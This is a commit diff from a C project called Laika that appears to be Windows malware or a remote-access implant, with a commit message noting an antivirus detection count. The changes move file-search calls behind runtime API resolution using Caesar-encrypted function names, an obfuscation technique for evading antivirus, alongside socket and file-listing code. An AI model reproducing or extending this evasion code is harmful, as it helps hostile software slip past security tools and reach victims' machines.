patate/Laika
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

revert: avec l'optimisation --> +2 AV detection

Browse Source
This commit is contained in:
ALittlePatate
2023-02-21 15:26:03 +01:00
parent 0947cf8942
commit e53c28bdd1
4 changed files with 15 additions and 8 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
Laika/file_explorer.c
View File

@@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
wcscat(searchPath, L"\\*.*"); wcscat(searchPath, L"\\*.*");
hFind = FindFirstFile(searchPath, &findData); hFind = Api.FindFirstFileW(searchPath, &findData);
if (hFind == INVALID_HANDLE_VALUE) { if (hFind == INVALID_HANDLE_VALUE) {
return NULL; return NULL;
} }
@@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
Api.strcpy(fileList[numFound], CAESAR(fileName)); Api.strcpy(fileList[numFound], CAESAR(fileName));
numFound++; numFound++;
} while (FindNextFile(hFind, &findData) != 0); } while (Api.FindNextFileW(hFind, &findData) != 0);
Api.FindClose(hFind); Api.FindClose(hFind);

4
Laika/main.c
View File

@@ -446,10 +446,10 @@ retry:
} }
} }
} }
/* Never used
Api.closesocket(sock); Api.closesocket(sock);
FreeApis(); FreeApis();
*/
return 0; return 0;
} }

7
Laika/resolve_apis.c
View File

@@ -12,8 +12,8 @@ void InitApis() {
return; return;
} }
Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj")); Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
@@ -29,6 +29,8 @@ void InitApis() {
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw")); Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\"));
Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
if (!hMsvcrt) { if (!hMsvcrt) {
@@ -71,9 +73,10 @@ void InitApis() {
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy")); Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy")); Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
} }
/* Never called
void FreeApis() { void FreeApis() {
Api.FreeLibrary(hWininet); Api.FreeLibrary(hWininet);
Api.FreeLibrary(hMsvcrt); Api.FreeLibrary(hMsvcrt);
Api.FreeLibrary(hKernel32); Api.FreeLibrary(hKernel32);
} }
*/

6
Laika/resolve_apis.h
View File

@@ -55,6 +55,8 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef BOOL(WINAPI* TFindClose)(HANDLE);
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int); typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
typedef struct ApiList { typedef struct ApiList {
Tconnect connect; Tconnect connect;
@@ -91,6 +93,8 @@ typedef struct ApiList {
TFindClose FindClose; TFindClose FindClose;
TGetLogicalDrives GetLogicalDrives; TGetLogicalDrives GetLogicalDrives;
TMultiByteToWideChar MultiByteToWideChar; TMultiByteToWideChar MultiByteToWideChar;
TFindFirstFileW FindFirstFileW;
TFindNextFileW FindNextFileW;
Tmbstowcs mbstowcs; Tmbstowcs mbstowcs;
Twcstombs wcstombs; Twcstombs wcstombs;
@@ -110,4 +114,4 @@ typedef struct ApiList {
} API; } API;
void InitApis(); void InitApis();
void FreeApis(); //void FreeApis(); Never called